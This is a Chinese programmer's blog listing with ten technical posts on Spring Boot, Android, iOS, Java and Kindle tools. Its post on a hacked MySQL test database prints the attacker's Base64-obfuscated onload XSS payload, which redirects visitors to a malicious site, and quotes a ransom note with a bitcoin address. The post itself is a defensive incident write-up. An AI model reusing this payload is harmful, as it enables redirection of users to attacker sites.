1. Java|SpringBoot 项目开发时,让 FreeMarker 文件编辑后自动更新

    正在维护的一个 SpringBoot 项目是前后端一体的,页面使用 FreeMarker 编写。在开发过程中,ftl 文件编辑后,每次都需要重启应用才能看到效果,效率非常低下。这里记录通过哪些配置后,可以让它们免重启自动更新。 在应用的 pom.xml 文件里,做如下修改: <dependencies> <!-- 添加以下依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> <scope>runtime</scope> </dependency> </dependencies> <build> <finalName>${artifactId}</finalName> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <!-- 添加以下这一行 --> <fork>true</fork> </configuration> </plugin> </plugins> </build> 在 application-dev.properties 文件里添加如下内容: # freemarker hot reload spring.freemarker.cache=false spring.freemarker.settings.template_update_delay=0 禁用 FreeMarker 缓存,有更改后即时更新。 修改 IDEA 配置,开启自动编译: 编译应用运行时的 Run/Debug Configurations: 将 On ‘Update’ action: Update classes and resources 和 On frame deactivation: Update classes and resources 配置打开。 关于 spring-boot-devtools 的相关用途与说明,可以参考 Spring 官方文档:https://docs.spring.io/spring-boot/docs/2.7.18/reference/html/using.html#using.devtools,可以看到,如果想要在开发过程中修改 Java 代码后免于手动重启,也可以借助于 spring-boot-devtools 的相关配置。 参考链接: https://docs.spring.io/spring-boot/docs/2.7.18/reference/html/using.html#using.devtools https://blog.csdn.net/silentwolfyh/article/details/85048745 https://www.cnblogs.com/ios9/p/14410299.html

    2023/12/11 Java

  2. iOS|获取 Distribution Managed 证书的 SHA-1 指纹和公钥

    最近在处理 APP 备案的事情,其中 iOS 平台的资料里要求填写签名证书的 SHA-1 指纹和公钥。 按照阿里云的操作指南 https://help.aliyun.com/zh/icp-filing/fill-in-app-feature-information 进行操作时,在公钥与签名 SHA1 值获取这一步遇到了问题:我们证书的类型与指南中显示的不同,是 Distribution Managed 类型的,苹果开发者网站上不提供下载,自然也就无法直接拿到公钥和 SHA-1 指纹了。 到了这个时间点,这类问题我当然不会是第一个遇到和解决的,经过一番搜索,找到了可行的参考方法:https://blog.csdn.net/weixin_50340188/article/details/133023592,这里将完整的操作步骤也做个记录。 访问 https://developer.apple.com/cn/,使用 App 对应的 iOS 开发者账号登录; 在计划资源中点击证书进入证书列表页面: 在证书列表页面 F12 打开浏览器开发者工具,刷新页面,在网络标签中找到 certificates 这次请求,在响应内容的 data 数组里找到需要的那个证书的 attribites.certificateContent 字段,如图所求; 将 attributes.certificateContent 字段的完整内容复制保存到一个新的文本文件中,并将该文本文件后缀名改为 .cer,如 test.cer; 将 test.cer 文件传送到一台 Windows 电脑,双击打开,切到详细信息标签,分别点击上面的公钥、指纹,下方显示的字段值就是我们需要的,用 Ctrl-A、Ctrl-C、Ctrl-V 将它们复制出来即可。 实测可行,已顺利通过审核。 参考 https://help.aliyun.com/zh/icp-filing/fill-in-app-feature-information https://blog.csdn.net/weixin_50340188/article/details/133023592

    2023/12/09 iOS

  3. DIY|Filco 圣手二代机械键盘单模改三模

    前一阵觉得家里的书桌比较零乱,特别是有时候需要切换家用与工作笔记本电脑时,需要拔插的线也偏多,于是就想着将键盘由有线换成无线,既可以减少一根线,又可以在切换电脑时少一步拔插,方便一些。 我现在的键盘是一把有线单模的 Filco 圣手二代 87 键青轴,乃数年前离开帝都时好友所赠,一直用到现在,手感与品质都很好,虽说现在各种国产品牌和轴体的机械键盘层出不穷,价钱不贵评价也不错,但我还真舍不得换。所以对我来说最好的选择就是将其改成蓝牙无线键盘。 纪念下它原本的样子: 上网搜索了一下,发现有卖家出售通用的有线键盘改有线/蓝牙/无线三模的模块,按卖家的建议先拆开键盘,确定了里面有足够的改造空间后,下单购买了模块和电池。 拆得七零八落: 模块到了以后,改装过程主要参考了下面的两个视频,比较简单,在此不赘述: 有线键盘改无线3模键盘视频:https://www.bilibili.com/video/BV1au4y1k7bq/ Filco 圣手二代有线改装蓝牙,加装猫爪:https://www.bilibili.com/video/BV1PN411Z7Ms/ 用到的工具: 拆解:十字螺丝刀,塑料撬片 改装:美工刀,热熔胶枪,吹风机,手电钻,绝缘热缩管、打火机 加装内部模块后: 装配完成以后——桌面也更加简洁清爽了: 先后拆坏过手表、电脑的手残党在操作过程中总结的心得: 有称手的工具可以事半功倍; 如果想弄得完美一点,就多花一点耐心和细心; 量空间时,多留一点余量,不要太刚好,胶也会占高度。 整个改装的原料、工具,加上花费的时间,成本也可以购买一把不错的新键盘了,但意义不可同日而语,既保留了原来的手感和纪念意义,又增加了无线的便利性,还是很值得的。

    2023/11/26 DIY

  4. Android|集成 slf4j + logback 作为日志框架

    最近在做一个 Android APP 的日志改造时,想要满足如下需求: 能够很方便地使用可变参数的方式输出日志; 日志能够根据级别输出到控制台和文件; 能够按照日期和文件大小进行日志文件的切割,滚动保存指定天数的日志,自动清理旧日志。 基于这个需求,我搜了一下「Android 日志框架」,大多网友推荐的是 logger、timber、xLog 等等,看着也不错。不过出于几年后端开发的经验和习惯,我进一步了解,发现熟悉的 log4j 和 logback 在 Android 上也有人做过适配,所以最终决定使用 slf4j + logback,以在前后端开发中取得一致的体验。 做过 Java 后端开发的同学,对于 slf4j + logback 的组合一般不陌生,而 Android 开发的同学则可能不一定听过它们。所以,本文将从零开始,记录如何在 Android APP 中集成 slf4j + logback 作为日志框架,并使用 Lombok 注解生成日志对象。 集成 slf4j + logback logback-android 项目地址:https://github.com/tony19/logback-android 一、在项目/模块的 build.gradle 文件中添加依赖: dependencies { implementation 'org.slf4j:slf4j-api:2.0.7' implementation 'com.github.tony19:logback-android:3.0.0' } 如果是单模块项目,可以直接在 app/build.gradle 文件中添加,如果是多模块项目,可以在一个公共模块的 build.gradle 文件中添加,记得将 slf4j-api 的 implementation 改为 api 才可被其它模块引用。 二、创建日志配置文件 app/src/main/assets/logback.xml: <configuration debug="false" xmlns="https://tony19.github.io/logback-android/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="https://tony19.github.io/logback-android/xml https://cdn.jsdelivr.net/gh/tony19/logback-android/logback.xsd" > <property name="LOG_DIR" value="${EXT_DIR:-${DATA_DIR}}/test/log"/> <appender name="logcat" class="ch.qos.logback.classic.android.LogcatAppender"> <tagEncoder> <pattern>%logger{12}</pattern> </tagEncoder> <encoder> <pattern>[%-20thread] %msg</pattern> </encoder> </appender> <appender name="local_file" class="ch.qos.logback.core.rolling.RollingFileAppender"> <file>${LOG_DIR}/test.log</file> <encoder> <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <fileNamePattern>${LOG_DIR}/test.%d.log</fileNamePattern> <maxHistory>15</maxHistory> </rollingPolicy> </appender> <root level="INFO"> <appender-ref ref="logcat" /> <appender-ref ref="local_file" /> </root> </configuration> 以上配置表示 INFO 及以上级别的日志输出到控制台和文件,文件按照日期切割,最多保留 15 天的日志。 大家可以按需配置,比如还可以限定单个文件大小、自定义日志输出的格式等等。 在项目的 Wiki 里提到有一点是 Android 开发者比较关注的,就是日志有保存路径,既可以指定绝对路径,也可以用变量,比如: ${DATA_DIR} 表示 Context.getFilesDir(); ${EXT_DIR} 表示 Context.getExternalFilesDir(null); ${EXT_DIR:-${DATA_DIR}} 表示当 EXT_DIR 可用时使用 EXT_DIR,否则使用 DATA_DIR; ${PACKAGE_NAME} 表示包名; ${VERSION_NAME} 表示版本名; ${VERSION_CODE} 表示版本号。 三、可以开始使用 slf4j 的 API 进行日志打印了: import org.slf4j.Logger; import org.slf4j.LoggerFactory; // 声明 logger Logger log = LoggerFactory.getLogger(MainActivity.class); // 打印日志 log.info("hello world"); log.info("number {}, boolean {}, string {}, object {}", 1, true, "string", new Object()); 运行 APP,可以看到日志输出到 logcat 和对应位置的文件。 当对配置有疑问,需要调试时,可以将上面配置文件里的 debug="false" 改为 debug="true",这样 logback 就会输出详细的信息,方便我们定位问题。 使用 Lombok 注解生成日志对象 在上一部分的第 3 步,在每一个需要使用 logger 的类里,都需要手动去声明 logger,如 Logger log = LoggerFactory.getLogger(MainActivity.class);,不算方便。 这里我们可以使用 Lombok 注解来简化这一步骤,自动生成 logger 对象。 Lombok 官方提供了 Android 平台的集成说明:https://projectlombok.org/setup/android 基于 Android Studio 环境,要做的其实就两步。 一、安装 Lombok 插件; Settings -> Plugins -> 搜索 Lombok -> 安装 注:Android Studio 版本 2020.3.1 - 2022.3.1,JetBrains 官方插件市场无法搜索到兼容版本的 Lombok 插件,可以参考 https://gitee.com/sgpublic/lombok-plugin-repository 解决。 二、在需要使用的模块的 build.gradle 文件里添加如下内容: dependencies { compileOnly 'org.projectlombok:lombok:1.18.30' annotationProcessor 'org.projectlombok:lombok:1.18.30' } 然后,就可以使用 @Slf4j 注解来自动生成 logger 对象了,现在的使用姿势简化成了这样: @Slf4j public class Test { public void test() { log.info("hello world"); } } 小结 好了以上就是在 Android 里集成 slf4j + logback 的记录了,至此我「统一」了 Java 后端和 Android 客户端打印日志的用法,在避免多项目维护造成「精神分裂」的路上前进了一小步。 本文所列代码示例已上传至 GitHub,地址:https://github.com/mzlogin/AndroidPractices/tree/master/android-studio/LogbackDemo 以上步骤供有类似需求的同学参考,同时强烈建议以官方文档为主。如果有更好的方案,欢迎留言讨论交流。 相关链接 https://github.com/tony19/logback-android https://projectlombok.org/setup/android https://gitee.com/sgpublic/lombok-plugin-repository https://github.com/mzlogin/AndroidPractices/tree/master/android-studio/LogbackDemo

    2023/10/26 Android

  5. Android|FileProvider 的 authorities 重名会怎么样?

    先说结论:如果有两个或多个 FileProvider 的 authorities 重名,那么只有合并后的 AndroidManifest.xml 文件里,排在最前面的那个配置会生效。 场景 应用里有个自升级的功能,下载完 apk 后,通过 FileProvider 提供 Uri 进行安装。我修改了文件下载路径后,功能失效了,报错如下: java.lang.IllegalArgumentException: Failed to find configured root that contains /data/user/0/org.mazhuang.test/cache/download/xxx.apk at android.support.v4.content.FileProvider$SimplePathStrategy.getUriForFile(FileProvider.java:738) at android.support.v4.content.FileProvider.getUriForFile(FileProvider.java:417) 对应的 provider 的声明是: <provider android:name="android.support.v4.content.FileProvider" android:authorities="${applicationId}.provider" android:exported="false" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths" /> </provider> provider_paths 内容: <?xml version="1.0" encoding="utf-8"?> <paths > <cache-path name="internal_cache_download" path="download/" /> </paths> 分析 对照 FileProvider 官方文档:https://developer.android.com/reference/android/support/v4/content/FileProvider.html ,我再三确认了配置本身没有问题。 然后在报错堆栈的 android.support.v4.content.FileProvider$SimplePathStrategy.getUriForFile 方法处下断点调试: @Override public Uri getUriForFile(File file) { // some code here // Find the most-specific root path Map.Entry<String, File> mostSpecific = null; for (Map.Entry<String, File> root : mRoots.entrySet()) { final String rootPath = root.getValue().getPath(); if (path.startsWith(rootPath) && (mostSpecific == null || rootPath.length() > mostSpecific.getValue().getPath().length())) { mostSpecific = root; } } if (mostSpecific == null) { throw new IllegalArgumentException( "Failed to find configured root that contains " + path); } // some code here } 发现 SimplePathStrategy 的 mRoots 里确实没有我配置的路径。而 SimplePathStrategy 唯一的构造方法的参数是 authority,该实例的 authority 确实是 ${applicationId}.provider 无误……那么,合理猜测,是有同名的 FileProvider,这里用到的是另一个 FileProvider 的 mRoots。 为了验证该猜测,我从两方面做确认: 查看合并后的 AndroidManifest.xml 文件,是否有其它 FileProvider 的 authorities 也是 ${applicationId}.provider? 阅读 Android Frameworks 里的相关源码,确认解析 provider 配置、取 FileProvider 实例的逻辑。 查看合并后的 AndroidManifest.xml 现在 Android Studio 已经提供了非常方便的查看合并后的 AndroidManifest.xml 的功能,打开 app 项目的 AndroidMenifest.xml 文件,在编辑器底部有个 Merged Manifest 选项卡,点击即可查看。 可以看到,确实有两个 FileProvider 的 authorities 都是 ${applicationId}.provider,另一个是从一个第三方库里来的,并且,它排在前面。 源码确认 首先是在 Android Studio 里进行,找到调用 SimplePathStrategy 构造方法的地方,是在 android.support.v4.content.FileProvider#parsePathStrategy: /** * Parse and return {@link PathStrategy} for given authority as defined in * {@link #META_DATA_FILE_PROVIDER_PATHS} {@code <meta-data>}. * * @see #getPathStrategy(Context, String) */ private static PathStrategy parsePathStrategy(Context context, String authority) throws IOException, XmlPullParserException { final SimplePathStrategy strat = new SimplePathStrategy(authority); final ProviderInfo info = context.getPackageManager() .resolveContentProvider(authority, PackageManager.GET_META_DATA); // some code here } 这里的 context.getPackageManager().resolveContentProvider 的实现,一路通过以下路径找到: // android.app.ContextImpl#getPackageManager // --> // android.app.ActivityThread#getPackageManager public static IPackageManager getPackageManager() { if (sPackageManager != null) { return sPackageManager; } IBinder b = ServiceManager.getService("package"); sPackageManager = IPackageManager.Stub.asInterface(b); return sPackageManager; } 到这里动用一点历史经验,可知实际实现类是 PackageManagerService,来看看 PackageManagerService#resolveContentProvider 的实现: @Override public ProviderInfo resolveContentProvider(String name, int flags, int userId) { if (!sUserManager.exists(userId)) return null; flags = updateFlagsForComponent(flags, userId, name); final String instantAppPkgName = getInstantAppPackageName(Binder.getCallingUid()); // reader synchronized (mPackages) { final PackageParser.Provider provider = mProvidersByAuthority.get(name); // some code here } // some code here } 在 PackageManagerService 里继续查找写入 mProvidersByAuthority 的地方,在 PackageManagerService#commitPackageSettings: /** * Adds a scanned package to the system. When this method is finished, the package will * be available for query, resolution, etc... */ private void commitPackageSettings(PackageParser.Package pkg, PackageSetting pkgSetting, UserHandle user, int scanFlags, boolean chatty) throws PackageManagerException { // some code here synchronized (mPackages) { // some code here for (i=0; i<N; i++) { PackageParser.Provider p = pkg.providers.get(i); p.info.processName = fixProcessName(pkg.applicationInfo.processName, p.info.processName); mProviders.addProvider(p); p.syncable = p.info.isSyncable; if (p.info.authority != null) { String names[] = p.info.authority.split(";"); p.info.authority = null; for (int j = 0; j < names.length; j++) { // some code here // 【我们要找的地方】 if (!mProvidersByAuthority.containsKey(names[j])) { mProvidersByAuthority.put(names[j], p); if (p.info.authority == null) { p.info.authority = names[j]; } else { p.info.authority = p.info.authority + ";" + names[j]; } // some code here 从上面这段中我们可以得到两个知识点: 如果已经有同名的 authority,那么后面的 Provider 配置会被忽略掉; authority 可以配置多个,用分号分隔。(这一点在官方文档之类的都没有找到说明,也许官方觉得配置项的名称 autorities 就说明了一切?实测可正常使用。) 接下来还有一点需要确认的,就是 pkg.providers 是否是按 AndroidManifexs.xml 里的顺序排列的。 根据上面代码里的线索,可以留意到 PackageParser 类,按如下顺序递进: // android.content.pm.PackageParser#parseBaseApk(java.io.File, android.content.res.AssetManager, int) private Package parseBaseApk(File apkFile, AssetManager assets, int flags) throws PackageParserException { // some code here // 下面这行里的 ANDROID_MANIFEST_FILENAME = AndroidManifest.xml parser = assets.openXmlResourceParser(cookie, ANDROID_MANIFEST_FILENAME); final String[] outError = new String[1]; final Package pkg = parseBaseApk(apkPath, res, parser, flags, outError); // some code here } // --> // android.content.pm.PackageParser#parseBaseApk(java.lang.String, android.content.res.Resources, android.content.res.XmlResourceParser, int, java.lang.String[]) // --> // android.content.pm.PackageParser#parseBaseApkCommon // --> // android.content.pm.PackageParser#parseBaseApplication // --> private boolean parseBaseApplication(Package owner, Resources res, XmlResourceParser parser, int flags, String[] outError) // some code here while ((type = parser.next()) != XmlPullParser.END_DOCUMENT && (type != XmlPullParser.END_TAG || parser.getDepth() > innerDepth)) { if (type == XmlPullParser.END_TAG || type == XmlPullParser.TEXT) { continue; } String tagName = parser.getName(); if (tagName.equals("activity")) { // some code here } else if (tagName.equals("provider")) { Provider p = parseProvider(owner, res, parser, flags, outError); if (p == null) { mParseError = PackageManager.INSTALL_PARSE_FAILED_MANIFEST_MALFORMED; return false; } owner.providers.add(p); // some code here 至此,我们已经可以确定 pkg.providers 是按 AndroidManifest.xml 里的顺序解析出来的了。 解决方案 既然已经知道了问题的原因,那么解决方案也就呼之欲出了: 修改自己的 FileProvider 的 authorities,不会和其它库的 authorities 重名即可。 小结 源码面前,了无秘密。——侯捷 如果遇到疑难问题,而恰好又有源码可查,那么就不要犹豫,直接去看源码吧!花一些时间和耐心,最终会找到你想要的。

    2023/10/19 Android

  6. 代码审查|这段代码,为什么复制文件夹总是“成功”?

    最近开始一个人负责整个项目的全栈开发和维护,工作中没了和同事交叉 code review 的环节,所以就打算,如果工作中遇到一些比较典型的代码,包括好味道和坏味道,就拿出来分析下,与大家一起交流,作为另一种形式的「交叉 review」。 这天遇到这样一个问题:在 Android 手机上复制 assets 里的文件夹到手机里,实际并没有拷贝完成,但代码总是显示成功,看了下代码,使用的是阿里云播放器 Android SDK 的 Demo 里的一个工具类。 工具类里的相关代码经过简化后示意如下: public class Commen { private static Commen instance; private volatile boolean isSuccess; public static Commen getInstance(Context context) { // some code here,单例控制,返回 instance // ... } public void copyAssetsToDst(Context context, String srcPath, String dstPath) { try { String[] fileNames = context.getAssets().list(srcPath); if (fileNames.length > 0) { for (String fileName : fileNames) { // 文件夹,递归调用 copyAssetsToDst(context, srcPath + File.separator + fileName, dstPath + File.separator + fileName); } } else { // some code here,单个文件拷贝 // ... } isSuccess = true; } catch (Exception e) { isSuccess = false; } } } 这段代码使用起来若不谨慎,至少存在以下问题: 线程安全问题:该类是一个单例类,代码中的 isSuccess 相当于是一个全局变量,如果多个线程同时调用 copyAssetsToDst 方法,会出现线程安全问题,导致 isSuccess 的值被交叉覆盖,不可预期; 结果正确性:因为 Exception 全都被 catch 住了,这样如果 srcPath 是一个文件夹,递归调用方法自身后,最外层总是会将 isSuccess 设置为 true,导致最终结果总是显示成功,而实际结果未知。 如果由我来写这段代码,我会做这样的修改: 将类改为工具类,公开的方法都是静态方法,不需要单例控制; 方法执行是否成功,由返回值、是否抛出异常来表示,不使用成员变量记录; 拷贝过程中,记录拷贝成功的文件列表,如果最终失败,将中间生成的文件做清理。

    2023/10/18 Java

  7. 运维|MySQL 数据库被黑,心力交瘁

    前一阵有一个测试用的 MySQL 数据库被黑了,删库勒索的那种,这里记录一下事情经过,给自己也敲个警钟。 0x00 发现端倪 有一天,我在自测功能的时候,发现 APP 里展示的每条详情信息里都有一段乱码,只是有点奇怪,没有特别在意,后来调试网页的时候看到控制台有个报错,就顺手看了一眼,发现详情网页里有这样的东西: 找我的前端小伙伴讨论了下,最后本地调试了一番,发现是数据库里有个字段齐刷刷地被改成这个了: <body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))> atob 里面这一串是被 Base64 编码的 window.location.replace("https://xxx.com/xxx"),所以这段代码如果在网页里被正常加载,网页会被自动重定向到一个邪恶的网址: 是不是挺可怕?浏览网页的人如果警惕性不高,可能就中招了。这时我明白过来,我的测试环境这是被当成肉鸡了…… 不过当时还是大意了,因为暂时没有想通它是怎样攻击和篡改,以为就是从页面注入的,就在逻辑里加了一些防护逻辑,把这个字段值都改回去然后就继续干活了。 0x01 库没人懵 到第二天,正欢乐地测着功能呢,突然打开啥页面都报数据库异常了,到库里一看,好家伙,所有表都没了,只剩一张 readme,里面写着: 以下数据库已被删除:xxx。 我们有完整的备份。 要恢复它,您必须向我们的比特币地址bc1q8erv6l4xrdqsfpwp92gm0mccur49pqn8l8epfg支付0.016比特币(BTC)。 如果您需要证明,请通过以下电子邮件与我们联系。 song4372@proton.me 。 任何与付款无关的邮件都将被忽略! 事情没我想象的简单!能把库里的表都删了,数据库和服务器的权限怕是都被拿到了。 仔细回想了前一段时间里发生的事情,推测过程可能是这样的: 最开始,有一天接收到阿里云的告警,提示 AK 泄漏,查看事件日志发现利用 AK 创建了一个 RAM 子账号,并赋予了高权限,当时我禁用了涉及的 AK,删除了被创建的子账号,但服务器应该已经被渗透了; 然后就是数据库字段被篡改,估计是一方面把服务器资源作为肉鸡继续扩散攻击其它人,另一方面作为诱饵,监控处理动作; 最后就是删库勒索了。 0x02 夺回权限 当务之急,是夺回权限,恢复数据。整个服务器和数据库的权限应该都不安全了,所以我先采取了以下措施: 检查服务器安全组规则,发现被加入了允许公网访问 3306 和所有端口的记录,将其删除; 检查服务器上的用户,发现多了一个用户 guest,uid 0,将其禁用; 检查进程,发现有用 guest 用户启动的 bash 进程和 mysql root 用户进程,将其 kill 掉; 修改服务器所有用户密码,检查用户权限; 修改数据库端口、重置所有用户和密码,只赋予用户必要权限; 更新服务器,修复已知安全漏洞; 用到的主要指令: # 检查 Linux 服务器上的用户 cat /etc/passwd # 修改用户密码 passwd <username> # 检查进程 ps -ef # 杀掉进程 kill -9 <pid> # 修改数据库端口 vim /etc/my.cnf # mysql 删除用户,在 mysql 命令行执行 drop user '<user_name>'@'<scope>'; # mysql 创建用户,赋予权限,在 mysql 命令行执行 create user '<user_name>'@'<scope>' IDENTIFIED BY '<password>'; grant select,insert,update,delete on '<database_name>'.* to '<user_name>'@'<scope>'; 0x03 修复数据 接下来就是修复数据了。 这个测试用的 MySQL 实例开启了 binlog,可惜被攻击者清除了,所以只能从备份恢复了。数据用定时任务 + mysqldump,每天备份一次,找到合适的备份,恢复数据。 ps: 幸亏有备份,不然真是欲哭无泪了。 # 解压备份文件 gunzip -c xxx.sql.gz > xxx.sql # 恢复数据,在 mysql 命令行执行 use <database_name>; souce /path/to/xxx.sql; 0x04 小结 以上的步骤的操作过程,远没有看起来那么简单,实际耗费了我挺长时间。 这次事件让我深刻地意识到,安全问题不容忽视,不管是服务器还是数据库,都要做好安全措施,不要给攻击者可乘之机。不然真到了被攻击,而又自行恢复无望的时候,那就叫天天不应,叫地地不灵了。退一万步说,即使有备份,也会耗费大量的时间和精力,影响正常的工作和生活。 安全任重道远,后续先做好以下方面: 访问控制,只赋予必要权限; 服务器镜像、数据库定期备份; 定期漏洞扫描与修复; 敏感数据加密; 操作审计; 最后,警钟常鸣!

    2023/10/08 Linux Database

  8. Java|List.subList 踩坑小记

    很久以前在使用 Java 的 List.subList 方法时踩过一个坑,当时记了一条待办,要写一写这事,今天完成它。 我们先来看一段代码: // 初始化 list 为 { 1, 2, 3, 4, 5 } List<Integer> list = new ArrayList<>(); for (int i = 1; i <= 5; i++) { list.add(i); } // 取前 3 个元素作为 subList,操作 subList List<Integer> subList = list.subList(0, 3); subList.add(6); System.out.println(list.size()); 输出是 5 还是 6? 没踩过坑的我,会回答是 5,理由是:往一个 List 里加元素,关其它 List 什么事? 而掉过坑的我,口中直呼 666。 好了不绕弯子,我们直接看下 List.subList 方法的注释文档: /** * Returns a view of the portion of this list between the specified * <tt>fromIndex</tt>, inclusive, and <tt>toIndex</tt>, exclusive. (If * <tt>fromIndex</tt> and <tt>toIndex</tt> are equal, the returned list is * empty.) The returned list is backed by this list, so non-structural * changes in the returned list are reflected in this list, and vice-versa. * The returned list supports all of the optional list operations supported * by this list.<p> * * This method eliminates the need for explicit range operations (of * the sort that commonly exist for arrays). Any operation that expects * a list can be used as a range operation by passing a subList view * instead of a whole list. For example, the following idiom * removes a range of elements from a list: * <pre>{@code * list.subList(from, to).clear(); * }</pre> * Similar idioms may be constructed for <tt>indexOf</tt> and * <tt>lastIndexOf</tt>, and all of the algorithms in the * <tt>Collections</tt> class can be applied to a subList.<p> * * The semantics of the list returned by this method become undefined if * the backing list (i.e., this list) is <i>structurally modified</i> in * any way other than via the returned list. (Structural modifications are * those that change the size of this list, or otherwise perturb it in such * a fashion that iterations in progress may yield incorrect results.) * * @param fromIndex low endpoint (inclusive) of the subList * @param toIndex high endpoint (exclusive) of the subList * @return a view of the specified range within this list * @throws IndexOutOfBoundsException for an illegal endpoint index value * (<tt>fromIndex &lt; 0 || toIndex &gt; size || * fromIndex &gt; toIndex</tt>) */ List<E> subList(int fromIndex, int toIndex); 这里面有几个要点: subList 返回的是原 List 的一个 视图,而不是一个新的 List,所以对 subList 的操作会反映到原 List 上,反之亦然; 如果原 List 在 subList 操作期间发生了结构修改,那么 subList 的行为就是未定义的(实际表现为抛异常)。 第一点好理解,看到「视图」这个词相信大家就都能理解了。我们甚至可以结合 ArrayList 里的 SubList 子类源码进一步看下: private class SubList extends AbstractList<E> implements RandomAccess { private final AbstractList<E> parent; // ... SubList(AbstractList<E> parent, int offset, int fromIndex, int toIndex) { this.parent = parent; // ... this.modCount = ArrayList.this.modCount; } public E set(int index, E e) { // ... checkForComodification(); // ... ArrayList.this.elementData[offset + index] = e; // ... } public E get(int index) { // ... checkForComodification(); return ArrayList.this.elementData(offset + index); } public void add(int index, E e) { // ... checkForComodification(); parent.add(parentOffset + index, e); this.modCount = parent.modCount; // ... } public E remove(int index) { // ... checkForComodification(); E result = parent.remove(parentOffset + index); this.modCount = parent.modCount; // ... } private void checkForComodification() { if (ArrayList.this.modCount != this.modCount) throw new ConcurrentModificationException(); } // ... } 可以看到几乎所有的读写操作都是映射到 ArrayList.this、或者 parent(即原 List)上的,包括 size、add、remove、set、get、removeRange、addAll 等等。 第二点,我们在文首的示例代码里加上两句代码看现象: list.add(0, 0); System.out.println(subList); System.out.println 会抛出异常 java.util.ConcurrentModificationException。 我们还可以试下,在声明 subList 后,如果对原 List 进行元素增删操作,然后再读写 subList,基本都会抛出此异常。 因为 subList 里的所有读写操作里都调用了 checkForComodification(),这个方法里检验了 subList 和 List 的 modCount 字段值是否相等,如果不相等则抛出异常。 modCount 字段定义在 AbstractList 中,记录所属 List 发生 结构修改 的次数。结构修改 包括修改 List 大小(如 add、remove 等)、或者会使正在进行的迭代器操作出错的修改(如 sort、replaceAll 等)。 好了小结一下,这其实不算是坑,只是 不应该仅凭印象和猜测,就开始使用一个方法,至少花一分钟认真读完它的官方注释文档。

    2023/09/21 Java

  9. 读书|通过 SSH & SFTP 管理 Kindle 上的文件

    这是这个系列的第三篇文章,之前写了: 读书|程序员如何传书到 Kindle 介绍了我最喜欢的通过 WiFi 向 Kindle 传书的方法; 读书|通过 Git 管理 Kindle 屏保图片,一键自动同步 介绍了通过 Git 管理 Kindle 屏保图片的方法; 本文介绍我如何通过 SSH & SFTP 管理 Kindle 上的文件。 管理 Kindle 里的文件,包括上传电子书、上传屏保图片、上传字体、上传插件、下载书摘等等,常用的方式就是通过 USB 连接电脑,然后在电脑上管理文件。这样有两个我不太爽的地方: 必须要使用 USB 线缆; 在电脑上挂载的并不是 Kindle 根目录,而一般是 /mnt/us,其它目录的文件无法管理。 在我开始在 Kindle 上使用 KOReader 后,发现 KOReader 有一个 SSH server 的功能,开启后就可以通过 SSH & SFTP 连接到 Kindle 了,可以解决上面两个问题。不过它有一点不方便的地方,就是必须得先进入 KOReader,然后才能在菜单里开启这个功能,对于老设备来说,这几步操作可能需要耗时挺久,不能忍…… 作为一个能自己动手绝不吵吵的爱折腾的程序员,我就想着,能不能在 KUAL 里加两个按钮,点击后就能开启/关闭 SSH server?于是就制作了下面这款插件: https://github.com/mzlogin/kual-ssh-sftp-server 插件的安装、使用方法请参考上面的链接,这里就不再赘述了。 插件在 Kindle 上的运行效果: 点击 Start Server 就能启动 SSH & SFTP Server,并在屏幕上显示 IP 和端口,此时就可以通过局域网内的电脑用 SSH / SFTP 的方式连接到 Kindle 了。 比如我习惯使用开源免费的 FileZilla 来管理文件,使用 SFTP 的方式连接上 Kindle 之后,就可以通过图形界面直接管理 Kindle 里的文件了,上传下载随心所欲: 喜欢用命令行的同学也可以直接在终端连接: 使用完成后点击 Stop Server 就能关闭 SSH & SFTP Server。 以上就是我通过 SSH & SFTP 管理 Kindle 上的文件的方法,虽然只是基于 KOReader 里的组件,做了一点二次封装形成了一个插件,但它确实提升了我的效率和体验,希望对大家也有所帮助和启发。

    2023/09/18 Kindle

  10. 读书|通过 Git 管理 Kindle 屏保图片,一键自动同步

    前面一篇文章 读书|程序员如何传书到 Kindle 介绍了我最喜欢的通过 WiFi 向 Kindle 传书的方法,这篇文章介绍一下我是如何管理 Kindle 屏保图片的。 作为一个爱折腾的人,除了阅读,我也尝试过 Kindle 的各种玩法,其中一项就是自定义屏保图片。每次拿起设备时,都能看到自己喜欢的屏保图片,开始阅读的心情也会变得愉悦。 更换 Kindle 屏保常用的方式是使用 ScreenSavers Hack 插件,我也是用它,但管理屏保图片并不方便,每当想要更换图片时,需要通过 USB 或者其它方式拷贝图片到 Kindle 的特定目录下,并需要使用特定的连续数字命名规则才能生效,这对于想要经常更换图片的人来说,是一件很麻烦的事。 于是我设计了这样一个工作流来解决这个问题: 概括一下就是三步走: 一、在电脑上制作和整理好屏保图片; 二、使用 Git 提交到 GitHub; 三、在 Kindle 上用插件一键同步。 对应最后一步,我自制了一款 Kindle 插件,来实现在 Kindle 上一键从 GitHub 同步屏保图片的功能。 运行截图: 它的同步逻辑: 删除本地有,GitHub 上没有的屏保图片; 下载远程有,本地没有的屏保图片; 如果一张屏保图片本地和远程的 md5 值不一样,本地文件将被远程文件覆盖。 插件项目地址:https://github.com/mzlogin/kual-screensaver-sync 我的屏保图片管理项目地址:https://github.com/mzlogin/kindle-paperwhite-screensavers 插件的详细安装、使用方法可以参考插件项目的 README,在此不做赘述。 以上管理方式的好处有: 通过 Git 管理,可以在需要的时候回溯历史; 整个过程无需使用 USB 线缆,Kindle 和电脑也不受地理位置和局域网限制; 增量按需更新; 甚至可以多人合作、相互很方便的分享屏保图片。 如果你也对这样一种管理 Kindle 屏保图片的方式感兴趣,可以参考我的项目,自己动手制作和使用起来。

    2023/09/17 Kindle